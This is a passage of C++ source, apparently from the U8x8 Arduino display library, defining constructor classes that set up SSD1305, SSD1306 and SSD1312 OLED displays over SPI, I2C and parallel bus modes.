U8X8_SSD1305_128X64_RAYSTAR_SW_I2C : public U8X8 {\n  public: U8X8_SSD1305_128X64_RAYSTAR_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_raystar, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1305_128X64_RAYSTAR_HW_I2C : public U8X8 {\n  public: U8X8_SSD1305_128X64_RAYSTAR_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_raystar, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1305_128X64_RAYSTAR_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1305_128X64_RAYSTAR_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_raystar, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1306_2040X16_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_2040X16_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_2040x16, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_2040X16_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_2040X16_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_2040x16, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_2040X16_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_2040X16_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_2040x16, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_2040X16_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_2040X16_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_2040x16, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1306_2040X16_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_2040X16_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_2040x16, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1306_2040X16_6800 : public U8X8 {\n  public: U8X8_SSD1306_2040X16_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_2040x16, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_2040X16_8080 : public U8X8 {\n  public: U8X8_SSD1306_2040X16_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_2040x16, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_NONAME_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X64_NONAME_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_NONAME_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X64_NONAME_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_NONAME_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X64_NONAME_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_NONAME_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X64_NONAME_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_NONAME_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X64_NONAME_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_NONAME_6800 : public U8X8 {\n  public: U8X8_SSD1306_128X64_NONAME_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_NONAME_8080 : public U8X8 {\n  public: U8X8_SSD1306_128X64_NONAME_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_VCOMH0_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X64_VCOMH0_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_VCOMH0_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X64_VCOMH0_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_VCOMH0_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X64_VCOMH0_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_VCOMH0_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X64_VCOMH0_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_VCOMH0_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X64_VCOMH0_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_VCOMH0_6800 : public U8X8 {\n  public: U8X8_SSD1306_128X64_VCOMH0_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_VCOMH0_8080 : public U8X8 {\n  public: U8X8_SSD1306_128X64_VCOMH0_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_ALT0_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X64_ALT0_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_ALT0_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X64_ALT0_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_ALT0_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X64_ALT0_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_ALT0_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X64_ALT0_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_ALT0_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X64_ALT0_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_ALT0_6800 : public U8X8 {\n  public: U8X8_SSD1306_128X64_ALT0_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_ALT0_8080 : public U8X8 {\n  public: U8X8_SSD1306_128X64_ALT0_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X64_NONAME_SW_I2C : public U8X8 {\n  public: U8X8_SSD1306_128X64_NONAME_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1306_128X64_NONAME_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_128X64_NONAME_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1306_128X64_NONAME_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_128X64_NONAME_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1306_128X64_VCOMH0_SW_I2C : public U8X8 {\n  public: U8X8_SSD1306_128X64_VCOMH0_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1306_128X64_VCOMH0_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_128X64_VCOMH0_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1306_128X64_VCOMH0_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_128X64_VCOMH0_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1306_128X64_ALT0_SW_I2C : public U8X8 {\n  public: U8X8_SSD1306_128X64_ALT0_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1306_128X64_ALT0_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_128X64_ALT0_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1306_128X64_ALT0_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_128X64_ALT0_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x64_alt0, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1312_128X64_NONAME_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1312_128X64_NONAME_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1312_128X64_NONAME_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1312_128X64_NONAME_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1312_128X64_NONAME_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1312_128X64_NONAME_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1312_128X64_NONAME_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1312_128X64_NONAME_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1312_128X64_NONAME_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1312_128X64_NONAME_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1312_128X64_NONAME_6800 : public U8X8 {\n  public: U8X8_SSD1312_128X64_NONAME_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1312_128X64_NONAME_8080 : public U8X8 {\n  public: U8X8_SSD1312_128X64_NONAME_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1312_128X64_NONAME_SW_I2C : public U8X8 {\n  public: U8X8_SSD1312_128X64_NONAME_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1312_128X64_NONAME_HW_I2C : public U8X8 {\n  public: U8X8_SSD1312_128X64_NONAME_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1312_128X64_NONAME_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1312_128X64_NONAME_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1312_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1306_72X40_ER_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_72X40_ER_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_72X40_ER_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_72X40_ER_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_72X40_ER_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_72X40_ER_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_72X40_ER_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_72X40_ER_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1306_72X40_ER_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_72X40_ER_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, 